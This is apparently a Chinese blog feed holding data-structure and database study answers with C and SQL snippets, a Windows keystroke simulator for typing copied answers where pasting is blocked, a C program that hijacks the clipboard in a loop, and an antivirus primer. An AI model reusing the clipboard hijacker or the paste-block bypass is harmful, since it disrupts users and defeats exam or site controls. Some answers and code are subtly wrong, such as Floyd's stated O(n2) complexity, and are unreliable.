以每个顶点作为源点调用 Dijkstra 算法,Floyd 算法和这种算法相比有什么优势?
答:对于有 n 个顶点的图,求所有顶点对之间的最短路径,若调用 Dijkstra 算法 n 次,其时
间复杂度为 O(n3)。Floyd 算法的时间复杂度也是 O(n2)。但 Floyd 算法更快,这是因为前者
每次调用 Dijkstra 算法时都是独立执行的,路径比较中得到的信息没有共享,而 Floyd 算法
中每考虑一个顶点时所得到的路径比较信息保存在 A 数组中,会用于下次的路径比较,从
而提高了整体查找最短路径的效率。
13、简述图有哪两种主要的存储结构,并说明各种存储结构在图中的不同运算(如图的遍历、
求最小生成树、最短路径等)中有什么样的优越性?
图的存储结构主要有邻接矩阵和邻接表。
(1)邻接矩阵:容易判定图中任意两个顶点之间是否有边相连,所以对于图的遍历是可行
的。同时特别方便提取一条边的权值,所以在求最小生成树和最短路径时采用邻接矩阵作为
存储结构。
(2)邻接表:容易找到任一顶点的所有邻接点,所以邻接表对于图的遍历也是可行的,
但要判断任意两个顶点 i 和 j 之间是否有边相连,则需搜索第 i 个及第 j 个单链表,这一点不
如邻接矩阵方便。
14、证明当深度优先遍历算法应用于一个连通图时遍历过程中所经历的边形成一棵树。
证明:由深度优先遍历算法可知,一个连通图中的每个顶点访问一次并且仅访问一次。在遍
历过程中,从一个顶点到另外一个顶点时必须经过连接这两个顶点的边。这样,当深度优先
遍历将图中的全部顶点都访问一次后共经过了其中 n-1 条边,而这 n-1 条边恰好把图中的 n
个顶点全部连通,即图的 n 个顶点和这 n-1 条边构成了图的一个连通分量。具有 n 个顶点和
n-1 条边的连通图为树。
15、有一个带权有向图如图所示,回答以下问题:
(1)给出该图的邻接矩阵表示。
(2)给出该图的邻接表表示。
答: (1)该图的邻接矩阵表示如下。
(2)该图的邻接表表示如下图所示。
16、对于一个顶点个数超过 4 的带权无向图,回答以下问题:
(1)该图的最小生成树一定是唯一的吗?如果所有边的权都不相同,那么其最小生成树一定
是唯一的吗?
(2)如果该图的最小生成树不是唯一的,那么调用 Prim 算法和 Kruskal 算法构造出的最小生成
树一定相同吗?
(3)如果图中有且仅有两条权最小的边,它们一定出现在该图的所有最小生成树中吗?简要说
明理由。
(4)如果图中有且仅有 3 条权最小的边,它们一定出现在该图的所有最小生成树中吗?简要
说明理由。
答:(1) 该图的最小生成树不一定是唯一的。如果所有边的权都不相同,那么其最小生成树
一定是唯一的。
(2)若该图的最小生成树不是唯一的,那么调用 Prim 算法和 Kruskal 算法构造出的最小生成树
不一定相同。
(3)如果图中有且仅有两条权最小的边,它们一定会出现在该图的所有最小生成树中。因为
在采用 Kruskal 算法构造最小生成树时首先选择这两条权最小的边加入,不会出现回路(严格
的证明可以采用反证法)。
(4)如果图中有且仅有 3 条权最小的边,它们不一定出现在该图的所有最小生成树中。因为
在采用 Kruskal 算法构造最小生成树时,选择这 3 条权最小的边加入有可能出现回路。例如,
如下图所示的带权无向图,有 3 条边的权均为 1,它们一定不会同时出现在其任何最小生成
树中。
17、对于如图所示的带权无向图,直接给出利用普里姆算法(从顶点 0 开始构造)
和克鲁斯卡尔算法构造出的最小生成树的结果(注意:按求解的顺序给出最小生
成树的所有边,每条边用(i,j)表示)。
答:利用 Prim 算法从顶点 0 出发构造的最小生成树为:
{(0,1),(0,3),(1,2),(2,5),(5,4)}, 利用克鲁斯卡尔算法构造出的最小生成树为{(0,1),(0,3),(1,2),(5,4),(2,5)}。
18、对于图所示的带权有向图,采用 Dijkstra 算法求从顶点 0 到其他顶点的最
短路径,要求给出求解过程,包括每一步的 S 集合、dist 和 path 数组元素。
答:该图对应的邻接矩阵如下:
在求最短路径时,S(存放顶点集),dist[](存放最短路径长度)和 path[](存
放最短路径)的变化如下:
最后得到的结果如下:
顶点 0 到顶点 1 的最短距离为 5,最短路径为:0、4、1
顶点 0 到顶点 2 的最短距离为 6,最短路径为:0、4、1、2
顶点 0 到顶点 3 的最短距离为 7,最短路径为:0、4、1、3
顶点 0 到顶点 4 的最短距离为 2,最短路径为:0、4。
19、对于如图所示的带权有向图,若采用 Dijkstra 算法求从顶点 a 到其他顶点
的最短路径和长度,第一条最短路径为:a->c,路径长度 2,则求得的剩余最短
路径依次是什么?(请按 Dijkstra 算法执行时产生最短路径的顺序,给出各最
短路径及其长度)。
答:第二条:a->c->f,长度为 6
第三条:a->c->e,长度为 10
第四条:a->c->f->d,长度为 11
第五条:a->c->f->d->g,长度为 14
第六条:a->b,长度为 15
20、一个含有 n 个互不相同的整数的数组 R[1..n],其中所有元素是递减有序的,将其看成是
一棵完全二叉树,该树构成一个大根堆吗?若不是,请给一个反例,若是,请说明理由。
答案:该数组一定构成一个大根堆。 当 R 是递减时,其数组元素为 k1 、k2 、…、kn ,
从中看出下标越大的元素值越小,对于任一元素 ki ,有 ki >k2i ,ki >k2i+1 (i<n/2),
这正好满足大根堆的特性,所以构成一个大根堆。
21、简要回答下列关于堆排序中堆的一些问题:
(1)通常堆采用顺序还是链式存储结构?
(2)设有一个小根堆,即堆中任意结点的关键字均小于它的左孩子和右孩子的关键字。其
中具有最大关键字的结点可能在什么地方?
答:(1)通常堆采用顺序存储结构。
(2)小根堆中具有最大关键字的结点只可能出现在叶子结点中。因为最小堆的最小关键字
的结点必是根结点,而最大关键字的结点由偏序关系可知,只有叶子结点可能是最大关键字
的结点。
 
 ---
 

//层次遍历二叉树
BTNode* queue[60];
    int head=-1,tail=-1;
    queue[++tail]=root;//入队
    while(!(head==tail)){
        BTNode* p=queue[head+1];
        head++;
        printf("%c",p->data);
        if(p->lchild) queue[++tail]=p->lchild;
        if(p->rchild) queue[++tail]=p->rchild;
    }
//归并排序
 int mid = (low + high) >> 1;
        MergeSort(a, low, mid);
        MergeSort(a, mid + 1, high);
        //合并
        Merge(a, low, mid, high);
KMP
int next[10];
    Next(T,next);//根据模式串T,初始化next数组
    int i=1;
    int j=1;
    while (i<=strlen(S) && j<=strlen(T)) 
    {
    //j==0:代表模式串的第一个字符就和指针i指向的字符不相等;S[i-1]==T[j-1],如果对应位置字符相等,两种情况下,指向当前测试的两个指针下标i和j都向后移
        if (j==0 || S[i-1]==T[j-1]) 
        {
            i++;
            j++;
        }
        else
        {
            j=next[j];//如果测试的两个字符不相等,i不动,j变为当前测试字符串的next值
        }
    }
    if (j>strlen(T)) 
    {
        //如果条件为真,说明匹配成功
        return i-(int)strlen(T);
    }
    return -1;
//快速排序
 //对数据元素a[low]~a[high]进行快速排序
    int i = low, j = high;
    int temp = a[low];
    while (i<j)
    {
        //在右端扫描
        while (i < j && temp < a[j]) 
            j--;
        if (i < j)
        {
            a[i] = a[j];
            i++;
        }
        //在左端扫描
        while (i < j && temp > a[i]) 
            i++;
        if (i < j)
        {
            a[j] = a[i];
            j--;
        }
    }
    a[i] = temp;
    if (low < i) 
        QuickSort(a, low, i - 1);
    if (high > i) 
        QuickSort(a, j + 1, high);
//矩阵深度优先遍历
visited[V] = 1;//访问过的顶点标记为1
	printf("%2d", V);//在进行遍历之前打印访问的顶点
	for (int j = 0; j < G->n; j++)//从第0个顶点开始判断,直到最后一个顶点
	{
		if (!visited[j] && G->edges[V][j] == 1)
        //若顶点vexs[j]与顶点vexs[i]相连,并且vexs[j]没有访问过
		{
			DFS(G, j);//那就访问vexs[j]
		}
	}
//十转八进制
int x;
    int i = 0;
    while(a>=8)
    {
        x=a%8;
        i++;
        SS_Push(ss,x);
        a=a/8;
    }
    SS_Push(ss,a);
    int e;
    for(int j = 0;j <= i;j++)
    {
        bool flag=SS_Pop(ss,e);
        printf("%d",e);
    }

//BF算法
int i=0,j=0;
    while (i<strlen(B) && j<strlen(A)) {
        if (B[i]==A[j]) {
            i++;
            j++;
        }else{
            i=i-j+1;
            j=0;
        }
    }
    //跳出循环有两种可能,i=strlen(B)说明已经遍历完主串,匹配失败;j=strlen(A),说明子串
    //遍历完成,在主串中成功匹配
    if (j==strlen(A)) {
        return i-strlen(A)+1;
    }
    //运行到此,为i==strlen(B)的情况
    return 0;
//删除链表结点
ListNode* cur = head;
        int count = 0;
        while(cur != NULL){
            count++;
            cur = cur->next;
        }
        //当倒数n个节点和链表长度相等时,需要特殊考虑。
        if(count == k){
            return head->next;
        }
        ListNode* fast = head;
        ListNode* slow = head;
       //fast多走的步数
        while(k-1 > 0){
            if(fast == NULL){
                return NULL;
            }
            fast = fast->next;
            k--;
        }
        //两个一起走找到K节点并且删除
        ListNode* prev = NULL;
        while(fast != NULL && fast->next != NULL){
            prev = slow;
            fast = fast->next;
            slow = slow->next;
        }
        prev->next = slow->next;
        return head;
//图的深度优先遍历
ArcNode* p;
    printf("%d ", v);
    visited[v] = 1;                                 
    p = G->adjlist[v].firstarc;                     
    while (p != NULL)
    {
        if (visited[p->adjvex] == 0)                 
            DFS(G, p->adjvex);
        p = p->nextarc;                             
    }
//图的广度优先遍历
ArcNode* p;
    int graph_queue[MAXV], queue_front = 0, queue_rear = 0; 
    int visited[MAXV];                                      
    int i;
    int adjvex;
 
    for (i = 0; i < G->n; i++)
    {
        visited[i] = 0;                                     
    }
    printf("%d ", v);                                     
    visited[v] = 1;                                        
    queue_rear = (queue_rear + 1) % MAXV;
    graph_queue[queue_rear] = v;                           
    while (queue_front != queue_rear)                      
    {
        queue_front = (queue_front + 1) % MAXV;
        adjvex = graph_queue[queue_front];                 
        p = G->adjlist[adjvex].firstarc;                    
        while (p != NULL)
        {
            if (visited[p->adjvex] == 0)                    
            {
                printf("%d ", p->adjvex);                 
                visited[p->adjvex] = 1;                    
                queue_rear = (queue_rear + 1) % MAXV;       
                graph_queue[queue_rear] = p->adjvex;
            }
            p = p->nextarc;                                 
        }
    }
    printf("\n");
//前中构造二叉树
if(i1>i2 && p1>p2)
        return NULL;

    BTNode* BTP=(BTNode*)malloc(sizeof(BTNode));
    char* p;

    BTP->data=*pa;
    int k;
    for(p = ia ; p< ia + (i2-i1) ; p++){//找到根节点
        if(*p == *pa) break;
    }//此时p在中序中根节点位置
    //因为是char 大小为1 地址相减
    k = p-ia;//k为根节点在in中位置
    //小于k的部分为左子树 大于k的为右子树
    BTP->lchild = InPreToTree(pa+1, ia, p1+1, p1+k, i1, i1+k-1);
    BTP->rchild = InPreToTree(pa+k+1, ia+k+1, p1+1+k, p2, i1+k+1, i2);
    
    return BTP;
//中后构造二叉树
char r= *(post+n-1),*p;//最后一个为根节点
    
    if(n<=0)return NULL;

    BTNode* BT=(BTNode*)malloc(sizeof(BTNode));
    BT->data=r;

    for(p=in;p<in+n;p++)
    {
        if(*p==r)
            break;
    }//p为中序中根节点位置

    int k=p-in;//k更新左子树长度

    BT->lchild=InPostToTree(post,in,k);
    BT->rchild=InPostToTree(post+k,in+k+1,n-k-1);

    return BT;




]]>
https://halloworlds.cn/uncategorized/643.html/feed/ 0
C++实现读取剪贴板并模拟键盘输入 https://halloworlds.cn/tutorial/636.html https://halloworlds.cn/tutorial/636.html#respond Tue, 02 Jan 2024 14:26:35 +0000 https://www.halloworlds.cn/?p=636

当有些网页禁止粘贴内容时,可以利用模拟输入的方法把复制的内容写入目标位置

以下为源码,直接编译运行即可使用

C语言版本

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

// 定义一个快捷键的 ID
#define HOTKEY_ID 100

void SimulateTyping(const wchar_t* text) {
    // 这个函数和你原来的一样,不用改
    INPUT input;
    input.type = INPUT_KEYBOARD;
    input.ki.time = 0;
    input.ki.dwExtraInfo = 0;

    for (int i = 0; i < wcslen(text); i++) {
        wchar_t ch = text[i];
        if (ch == L'\n') {
            // 模拟按下 Shift 键
            input.ki.wVk = VK_SHIFT;
            input.ki.wScan = 0;
            input.ki.dwFlags = 0;
            SendInput(1, &input, sizeof(INPUT));

            // 模拟按下 Enter 键
            input.ki.wVk = VK_RETURN;
            input.ki.wScan = 0;
            input.ki.dwFlags = 0;
            SendInput(1, &input, sizeof(INPUT));

            // 松开 Shift 键和 Enter 键
            input.ki.wVk = VK_RETURN;
            input.ki.wScan = 0;
            input.ki.dwFlags = KEYEVENTF_KEYUP;
            SendInput(1, &input, sizeof(INPUT));

            input.ki.wVk = VK_SHIFT;
            input.ki.wScan = 0;
            input.ki.dwFlags = KEYEVENTF_KEYUP;
            SendInput(1, &input, sizeof(INPUT));
        }
        else {
            // 模拟普通字符的输入
            input.ki.wVk = 0;
            input.ki.wScan = ch;
            input.ki.dwFlags = KEYEVENTF_UNICODE;
            SendInput(1, &input, sizeof(INPUT));
            input.ki.dwFlags = KEYEVENTF_KEYUP | KEYEVENTF_UNICODE;
            SendInput(1, &input, sizeof(INPUT));
        }

        Sleep(10);
    }
}

void CopyAndType() {
    // 这个函数是用来复制剪切板内容并模拟键盘输出的
    if (!OpenClipboard(NULL)) {
        fprintf(stderr, "无法打开剪切板\n");
        return;
    }

    HANDLE hData = GetClipboardData(CF_UNICODETEXT);
    if (hData == NULL) {
        fprintf(stderr, "无法获取剪切板数据\n");
        CloseClipboard();
        return;
    }

    wchar_t* clipboardText = (wchar_t*)GlobalLock(hData);
    if (clipboardText == NULL) {
        fprintf(stderr, "无法锁定剪切板数据\n");
        CloseClipboard();
        return;
    }

    CloseClipboard();

    // 模拟键盘输出
    SimulateTyping(clipboardText);

    GlobalUnlock(hData);
}

int main() {
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN);

    // 重置为默认颜色
    SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
    const char* lines[] = {
        "使用帮助:这个程序能够帮助你将剪切板内容模拟为键盘输出。",
        "教程:复制好答案后运行程序,然后按下 ctrl+/ 再点击编译器窗口即可" // 修改了这里的快捷键
    };
    int maxWidth = 0;
    for (int i = 0; i < 2; i++) {
        if (strlen(lines[i]) > maxWidth) {
            maxWidth = strlen(lines[i]);
        }
    }

    printf("**********************************\n");
    for (int i = 0; i < 2; i++) {
        int padding = maxWidth - strlen(lines[i]);
        char formattedLine[100];
        printf(formattedLine, "* %s%*s *", lines[i], padding, "");
        printf("%s\n", formattedLine);
    }
    printf("**********************************\n");
    Sleep(1000);

    // 注册快捷键 ctrl+/
    if (!RegisterHotKey(NULL, HOTKEY_ID, MOD_CONTROL, VK_OEM_2)) { // 修改了这里的虚拟键码
        fprintf(stderr, "无法注册快捷键\n");
        return 1;
    }

    // 创建一个消息循环
    MSG msg = { 0 };
    while (GetMessage(&msg, NULL, 0, 0) != 0) {
        if (msg.message == WM_HOTKEY) {
            // 如果收到快捷键消息,就调用复制和输出的函数
            CopyAndType();
        }
    }

    return 0;
}

C++优化版

#include <Windows.h>
#include <iostream>
#include <string>
#include <chrono>
#include <thread>
#include <iomanip>
#include<vector>

// 定义一个快捷键的 ID
#define HOTKEY_ID 100

void SimulateTyping(const std::wstring& text) {
    // 这个函数和你原来的一样,不用改
    INPUT input;
    input.type = INPUT_KEYBOARD;
    input.ki.time = 0;
    input.ki.dwExtraInfo = 0;

    for (wchar_t ch : text) {
        if (ch == L'\n') {
            // 模拟按下 Shift 键
            input.ki.wVk = VK_SHIFT;
            input.ki.wScan = 0;
            input.ki.dwFlags = 0;
            SendInput(1, &input, sizeof(INPUT));

            // 模拟按下 Enter 键
            input.ki.wVk = VK_RETURN;
            input.ki.wScan = 0;
            input.ki.dwFlags = 0;
            SendInput(1, &input, sizeof(INPUT));

            // 松开 Shift 键和 Enter 键
            input.ki.wVk = VK_RETURN;
            input.ki.wScan = 0;
            input.ki.dwFlags = KEYEVENTF_KEYUP;
            SendInput(1, &input, sizeof(INPUT));

            input.ki.wVk = VK_SHIFT;
            input.ki.wScan = 0;
            input.ki.dwFlags = KEYEVENTF_KEYUP;
            SendInput(1, &input, sizeof(INPUT));
        }
        else {
            // 模拟普通字符的输入
            input.ki.wVk = 0;
            input.ki.wScan = ch;
            input.ki.dwFlags = KEYEVENTF_UNICODE;
            SendInput(1, &input, sizeof(INPUT));
            input.ki.dwFlags = KEYEVENTF_KEYUP | KEYEVENTF_UNICODE;
            SendInput(1, &input, sizeof(INPUT));
        }

        std::this_thread::sleep_for(std::chrono::milliseconds(10));
    }
}

void CopyAndType() {
    // 这个函数是用来复制剪切板内容并模拟键盘输出的
    if (!OpenClipboard(nullptr)) {
        std::cerr << "无法打开剪切板" << std::endl;
        return;
    }

    HANDLE hData = GetClipboardData(CF_UNICODETEXT);
    if (hData == nullptr) {
        std::cerr << "无法获取剪切板数据" << std::endl;
        CloseClipboard();
        return;
    }

    wchar_t* clipboardText = static_cast<wchar_t*>(GlobalLock(hData));
    if (clipboardText == nullptr) {
        std::cerr << "无法锁定剪切板数据" << std::endl;
        CloseClipboard();
        return;
    }

    CloseClipboard();

    // 模拟键盘输出
    SimulateTyping(clipboardText);

    GlobalUnlock(hData);
}

int main() {
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN);

    // 重置为默认颜色
    SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
    std::vector<std::string> lines = {
        "使用帮助:这个程序能够帮助你将剪切板内容模拟为键盘输出。",
        "教程:复制好答案后运行程序,然后按下 ctrl+/ 再点击编译器窗口即可" // 修改了这里的快捷键
    };
    int maxWidth = 0;
    for (const std::string& line : lines) {
        if (line.length() > maxWidth) {
            maxWidth = line.length();
        }
    }

    std::cout << "**********************************" << std::endl;
    for (const std::string& line : lines) {
        int padding = maxWidth - line.length();
        std::string formattedLine = "* " + line + std::string(padding, ' ') + " *";
        std::cout << formattedLine << std::endl;
    }
    std::cout << "**********************************" << std::endl;
    std::this_thread::sleep_for(std::chrono::seconds(1));

    // 注册快捷键 ctrl+/
    if (!RegisterHotKey(NULL, HOTKEY_ID, MOD_CONTROL, VK_OEM_2)) { // 修改了这里的虚拟键码
        std::cerr << "无法注册快捷键" << std::endl;
        return 1;
    }

    // 创建一个消息循环
    MSG msg = { 0 };
    while (GetMessage(&msg, NULL, 0, 0) != 0) {
        if (msg.message == WM_HOTKEY) {
            // 如果收到快捷键消息,就调用复制和输出的函数
            CopyAndType();
        }
    }

    return 0;
}
]]>
https://halloworlds.cn/tutorial/636.html/feed/ 0
C语言实现劫持剪贴板 https://halloworlds.cn/tutorial/633.html https://halloworlds.cn/tutorial/633.html#respond Tue, 02 Jan 2024 14:11:22 +0000 https://www.halloworlds.cn/?p=633

通过识别当前复制的内容并存储而后循环复制目标内容到内存区域中实现劫持剪贴板,也可增加一些限制使其可以可以保存需要的内容并在指定的目标情况下触发劫持

以下为源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// 定义一个全局变量,用于存储剪贴板的原始内容
char* original_clipboard = NULL;

// 定义一个函数,用于读取剪贴板的内容,并将其存储在original_clipboard中
void read_clipboard() {
    HGLOBAL hMemory; // 剪贴板句柄
    LPTSTR lpMemory; // 剪贴板内存指针
    int contentSize; // 剪贴板内容的大小

    // 打开剪贴板
    if (!OpenClipboard(NULL)) {
        printf("打开剪贴板失败!\n");
        exit(1);
    }

    // 检查剪贴板是否为文本格式
    if (!IsClipboardFormatAvailable(CF_TEXT)) {
        printf("剪贴板中的数据类型不匹配!\n");
        CloseClipboard();
        exit(1);
    }

    // 获取剪贴板的数据
    hMemory = GetClipboardData(CF_TEXT);
    if (!hMemory) {
        printf("获取剪贴板数据失败!\n");
        CloseClipboard();
        exit(1);
    }

    // 锁定剪贴板的内存区域,并获取指针
    lpMemory = (LPTSTR)GlobalLock(hMemory);
    if (!lpMemory) {
        printf("锁定剪贴板内存失败!\n");
        CloseClipboard();
        exit(1);
    }

    // 获取剪贴板内容的大小,并分配相应的内存空间
    contentSize = GlobalSize(hMemory);
    original_clipboard = (char*)malloc(contentSize);
    if (!original_clipboard) {
        printf("分配内存失败!\n");
        GlobalUnlock(hMemory);
        CloseClipboard();
        exit(1);
    }

    // 复制剪贴板内容到original_clipboard中
    memcpy(original_clipboard, lpMemory, contentSize);

    // 解锁剪贴板的内存区域,并关闭剪贴板
    GlobalUnlock(hMemory);
    CloseClipboard();

    // 打印剪贴板的内容
    printf("剪贴板的内容为:\n%s\n", original_clipboard);
}

// 定义一个函数,用于劫持剪贴板,使其只能粘贴original_clipboard中的内容
void hijack_clipboard() {
    HGLOBAL hMemory; // 剪贴板句柄
    LPTSTR lpMemory; // 剪贴板内存指针
    int contentSize; // 剪贴板内容的大小

    // 打开剪贴板
    if (!OpenClipboard(NULL)) {
        printf("打开剪贴板失败!\n");
        exit(1);
    }

    // 清空剪贴板
    if (!EmptyClipboard()) {
        printf("清空剪贴板失败!\n");
        CloseClipboard();
        exit(1);
    }

    // 获取original_clipboard的大小,并分配相应的内存空间
    contentSize = strlen(original_clipboard) + 1;
    hMemory = GlobalAlloc(GMEM_MOVEABLE, contentSize);
    if (!hMemory) {
        printf("分配内存失败!\n");
        CloseClipboard();
        exit(1);
    }

    // 锁定内存区域,并获取指针
    lpMemory = (LPTSTR)GlobalLock(hMemory);
    if (!lpMemory) {
        printf("锁定内存失败!\n");
        CloseClipboard();
        exit(1);
    }

    // 复制original_clipboard的内容到内存区域中
    memcpy(lpMemory, original_clipboard, contentSize);

    // 解锁内存区域,并设置剪贴板的数据
    GlobalUnlock(hMemory);
    if (!SetClipboardData(CF_TEXT, hMemory)) {
        printf("设置剪贴板数据失败!\n");
        CloseClipboard();
        exit(1);
    }

    // 关闭剪贴板
    CloseClipboard();

    // 打印提示信息
    printf("已劫持剪贴板,只能粘贴原始内容!\n");
}

// 定义一个函数,用于检测用户是否按下了Ctrl+`键,如果是,则终止程序
void check_exit() {
    // 获取Ctrl键的状态,如果按下,则返回一个非零值
    int ctrl_state = GetAsyncKeyState(VK_CONTROL);

    // 获取`键的状态,如果按下,则返回一个非零值
    int backquote_state = GetAsyncKeyState(VK_OEM_3);

    // 如果同时按下了Ctrl和`键,则退出程序
    if (ctrl_state && backquote_state) {
        printf("按下了Ctrl+`键,程序终止!\n");
        exit(0);
    }
}

// 主函数
int main() {
    // 读取剪贴板的内容,并存储在original_clipboard中
    read_clipboard();

    // 进入一个无限循环,不断劫持剪贴板,并检测用户是否按下了Ctrl+`键
    while (1) {
        hijack_clipboard();
        check_exit();
        Sleep(1000);
    }

    // 释放original_clipboard的内存空间
    free(original_clipboard);

    return 0;
}
]]>
https://halloworlds.cn/tutorial/633.html/feed/ 0
数据库简答题 https://halloworlds.cn/notice/628.html https://halloworlds.cn/notice/628.html#respond Fri, 29 Dec 2023 03:10:52 +0000 https://www.halloworlds.cn/?p=628 简述数据库系统的特点:

1.数据结构化;

2.数据的共享性高,冗余度低且易扩充;

3.数据独立性高;

4.数据由数据库管理系统统一管理和控制。

简述数据完整性与安全性的区别:

1.数据的完整性:防止数据库中存在不符合语义的数据,也就是防止数据库中存在不正确的数据。防范对象:不合语义的、不正确的数据。

2.数据的安全性:保护数据库防止恶意的破坏和非法的存取。防范对象:非法用户和非法操作。

什么叫规范化?简述1NF—4NF的规范化方法:

将一个低一级的范式关系模式,通过模式分解转换为若干个高一级范式的关系模式的集合,这个过程叫规范化。

消除非主属性对码的部分函数依赖

消除非主属性对码的传递函数依赖

消除主属性对码的部分和传递函数的依赖 消除非平凡且非函数依赖的多值依赖

简述游标的使用过程

1.定义游标

2.打开游标

3.循环读取数据,指针前移

4.测试游标数据是否提取完毕,如果没有,继续提取数据

5.关闭游标

简述完全备份与增量备份的区别

  • 完全备份指备份中包含了指定的库的全部数据页,这样的一个备份通常会很大,且备份持续时间比较长,对于一个需要经常备份的系统,执行完全备份比较消耗时间和空间
  • 增量备份指基于某个已有的备份,备份自该备份以来所有发生修改了的数据页,这个已有的备份称为基备份。相对而言,增量备份通常很小,备份也较快且占用空间也会比较少。

简述数据库中备份,还原与恢复的具体含义

  1. 备份的本质:
  2. 将有效数据页保存到备份集中
  3. 将备份过程中产生的归档日志保存到备份集中
  4. 还原与恢复是备份的逆过程,其中:
  5. 还原是将备份集中的有效数据页重新写入目标数据文件的过程
  6. 恢复则是指通过重做归档日志,将数据库状态恢复到备份结束时的状态;也可以恢复到指定时间点和指定LSN

简述合理使用视图的好处

  1. 用户能通过不同的视图以多种角度观察同一数据
  2. 简化用户操作
  3. 为需要隐藏的数据提供自动安全保护
  4. 为重构数据库提供一定程度的逻辑独立性
    简述什么是DAC和MAC。

1.DAC是指自主存取控制,是由数据库对象的拥有者自主决定是否将自己拥有对象的部分或全部访问权限授予其他用户。

2.MAC是指强制存取控制,是由系统根据客体的敏感标记和主体的访问标记对客体访问实行限制的一种方法,只有符合密级标记要求的用户才可以操纵数据。

索引

-- 1.创建索引

CREATE UNIQUE INDEX index2 ON test.total (tradedate, tradetime);

-- 删除索引 index1

DROP INDEX test.index1;

-- 2.删除索引

连接查询

select tb_student.name as studentName ,tb_student.score,tb_class.name as className

        from test.tb_student inner join test.tb_class

        on tb_student.class_id=tb_class.id

        where tb_student.score>90;

视图

-- 1.创建视图

CREATE VIEW test.salary_view  AS SELECT * FROM test.tb_salary WHERE language = 'Python';

#INSERT INTO test.salary_view  VALUES(10,'C',9400);

-- 2.删除视图

DROP VIEW test.view_salary;

权限

-- 1.给用户授权查询权限

GRANT SELECT ON test.total TO user1;

-- 2.收回用户权限

REVOKE insert any table FROM user2;

审计

-- 打开普通审计

SP_SET_ENABLE_AUDIT(1);

-- 1.对SYSDBA创建用户进行审计,不管失败和成功。

SP_AUDIT_STMT('USER', 'SYSDBA','ALL');

-- 2.将SYSDBA用户对表test.total进行的插入数据成功的操作进行审计

SP_AUDIT_OBJECT ('INSERT', 'SYSDBA', 'TEST', 'TOTAL', 'SUCCESSFUL');

触发器

CREATE  TRIGGER limit_age AFTER INSERT

ON test.student

FOR EACH ROW

DECLARE

    age_out_of_order EXCEPTION FOR -20005;

Begin

    IF INSERTING AND (:new.age>120 OR :new.age<0) THEN

       RAISE age_out_of_order;

    END IF;

END;

查询子句

SELECT *

from test.employ

order by salary DESC

limit 3;

存储过程

-- 创建存储过程 getcustomerlevel

create or replace procedure getcustomerlevel(v_customNumber in int, v_customerLevel out varchar2)

as

    declare levels int;

begin

    select test.customers.creditlimit into levels from test.customers where test.customers.customerNumber=v_customNumber;

if levels <5000 then

    set v_customerLevel = 'SILVER';

elseif levels <10000 then

    set v_customerLevel = 'GOLD';

 else

    set v_customerLevel = 'PLATINUM';

end if;

select v_customNumber as customerNumber,v_customerLevel;

end;

游标

DECLARE

    CURSOR p IS SELECT * FROM test.tb_class;

BEGIN

    --OPEN p;

    FOR p_v IN p

        LOOP

            PRINT p_v.id ||','|| p_v.name;

        END LOOP;

END;

]]>
https://halloworlds.cn/notice/628.html/feed/ 0
如何判断文件是否含有病毒 https://halloworlds.cn/tutorial/614.html https://halloworlds.cn/tutorial/614.html#respond Wed, 29 Nov 2023 13:40:36 +0000 https://www.halloworlds.cn/?p=614

分析一个文件是否为病毒有多种方法,比如用OD这样的调试器,用HIPS都可以达到目的。在这里主要讨论一下快速判断的方法,用最短的时间,最少的知识,来判断一个文件是否安全。


先说一下必要的工具:Sandboxie、PEiD、OD以及你的杀毒软件。

在网上随便下载一个软件,这时候杀毒软件也许会报毒。这种情况下,可以先看一下报的病毒名。

对于一个报毒名,通常会包含主类型,家族名以及变种号。

遇到下面这些以及其他有明确描述的主类型,一般误报的可能性很小。

  1. Virus(感染型)
  2. Worm(蠕虫)
  3. Ransom(勒索)
  4. Backdoor(后门)
  5. Downloader(下载者)

如果报的是“Win32/Packed.VMProtect.AAA 特洛伊木马 的变种”,那么可以稍稍放松下警惕。对于一些壳,杀软脱不了,为了方便,就把这种壳当作病毒来处理。另外,如果是“Win32/Hupigon.NUK 特洛伊木马”以及“Win32/Parite.B 病毒”这类的,就需要注意,这个文件可能被人恶意插入木马,或者被感染过。从杀软报的病毒名基本可以判断出这个文件是真的有问题,还是属于杀软的误报。然而,也有一些例外。比如“Trojan.Win32.Generic.122E105A”,这个一看就是云安全分析出来的病毒,没有什么有效的信息,所以无法通过病毒名判断是否是误判。

简单说说杀软是怎么判别的

基于特征的检测 — — 静态分析

杀毒软件的厂商都有自己的安全研究团队,负责研究新出现的恶意软件(病毒、木马、蠕虫、勒索软件 ……)。每当发现一款新的恶意软件,研究人员会尝试找到该软件所具有的独特指纹,并加入到杀毒软件的特征库中。
所谓的独特指纹就是说 — — 只有这个恶意软件才会包含该特征,其它软件不包含该特征。
当杀毒软件扫描磁盘时,就是根据自带的特征库进行检查,如果某个文件正好包含了特征库中“某某恶意软件”的特征,就会触发报警。
“基于特征的检测”有时候也被称作“静态分析”

基于行为的检测 — — 动态分析

“基于特征的检测”相当于“事后诸葛亮”。也就是说,先得有恶意软件,然后研究人员才能去研究它。
这种玩法的一个巨大缺陷是 — — 难以做到事先预防。因此,杀毒软件还会采用另一种措施来辅助 — — 也就是所谓的“行为分析”。
一般来说,恶意软件总是会有一些比较奇怪的(反常的)行为。因此,杀毒软件会根据某个软件的行为,来判断其是否具有恶意。
“基于行为的检测”有时候也被称作“动态分析”。

误报

所谓的误报就是 — — 杀毒软件把正常文件当成恶意软件。
为啥会有误报?比较常见的原因是在少数情况下,安全研究人员提取的特征指纹不够独特(不具有唯一性)。就会导致 某个正常文件碰巧也带有该指纹所具有的特征。在这种情况下,当杀毒软件扫描这个正常文件,就会误报。

根据杀软的信息,可以对该文件的安全性有一个初步的了解。但是完全信任杀软的话会出现很多问题,想要使用有些未知安全性的软件,还是得靠自己。先用PEiD查一下壳

查壳


把可执行软件.exe拖入可查壳

然后可以在脱壳步骤中执行通用脱壳或者指定类型的壳专脱。

脱壳

